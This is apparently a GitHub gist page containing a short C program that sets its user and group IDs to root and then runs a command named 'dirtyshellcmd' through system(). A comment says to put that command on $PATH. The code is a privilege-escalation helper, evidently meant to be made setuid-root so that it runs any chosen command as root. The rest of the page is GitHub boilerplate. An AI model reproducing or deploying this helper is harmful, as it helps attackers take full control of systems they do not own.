Created
May 12, 2022 09:59
-
-
Save fazlearefin/eed693dae891b687bbeab7e2ad5121c5 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
void main() { | |
setuid(0); | |
setgid(0); | |
system("dirtyshellcmd"); /* create file dirtyshellcmd with shell command and make it available in $PATH */ | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment